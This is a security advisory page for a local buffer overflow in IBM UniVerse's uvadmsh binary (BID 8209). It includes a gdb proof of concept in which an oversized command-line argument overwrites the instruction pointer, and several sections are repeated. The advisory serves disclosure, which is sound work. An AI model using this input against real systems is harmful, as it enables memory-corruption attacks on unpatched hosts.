IBM U2 UniVerse UVADMSH Buffer Overflow Vulnerability
BID:8209
Info
IBM U2 UniVerse UVADMSH Buffer Overflow Vulnerability
| Bugtraq ID: | 8209 |
| Class: | Boundary Condition Error |
| CVE: | |
| Remote: | No |
| Local: | Yes |
| Published: | Jul 16 2003 12:00AM |
| Updated: | Jul 16 2003 12:00AM |
| Credit: | Reported by KF <[email protected]>. |
| Vulnerable: |
IBM UniVerse 10.0 .0.9 |
| Not Vulnerable: | |
Discussion
IBM U2 UniVerse UVADMSH Buffer Overflow Vulnerability
Under certain configurations, UniVerse allows the 'uvadm' user to perform certain administration tasks for the software. It has been reported that the uvadmsh binary does not perform bounds checking when parsing command-line arguments. Because access to the vulnerable option is restricted to the uvadm user, other users may not be able to exploit this vulnerability.
While this vulnerability was reported in UniVerse version 10.0.0.9, previous versions are likely vulnerable as well.
Under certain configurations, UniVerse allows the 'uvadm' user to perform certain administration tasks for the software. It has been reported that the uvadmsh binary does not perform bounds checking when parsing command-line arguments. Because access to the vulnerable option is restricted to the uvadm user, other users may not be able to exploit this vulnerability.
While this vulnerability was reported in UniVerse version 10.0.0.9, previous versions are likely vulnerable as well.
Exploit / POC
IBM U2 UniVerse UVADMSH Buffer Overflow Vulnerability
The following example has been provided. This example uses the gdb debugger to illustrate the problem.
(gdb) r -uv.install `perl -e 'print "Z" x 546'`
Starting program: uvadmsh -uv.install `perl -e 'print "Z" x 546'`
error
Program received signal SIGSEGV, Segmentation fault.
0x5a5a5a5a in ?? ()
(gdb) bt
#0 0x5a5a5a5a in ?? ()
Cannot access memory at address 0x5a5a5a5a
The following example has been provided. This example uses the gdb debugger to illustrate the problem.
(gdb) r -uv.install `perl -e 'print "Z" x 546'`
Starting program: uvadmsh -uv.install `perl -e 'print "Z" x 546'`
error
Program received signal SIGSEGV, Segmentation fault.
0x5a5a5a5a in ?? ()
(gdb) bt
#0 0x5a5a5a5a in ?? ()
Cannot access memory at address 0x5a5a5a5a
Solution / Fix
IBM U2 UniVerse UVADMSH Buffer Overflow Vulnerability
Solution:
The discoverer of this vulnerability has reported that a patch to address this issue is pending. Customers should contact the vendor for further details.
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
The discoverer of this vulnerability has reported that a patch to address this issue is pending. Customers should contact the vendor for further details.
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
IBM U2 UniVerse UVADMSH Buffer Overflow Vulnerability
References:
References: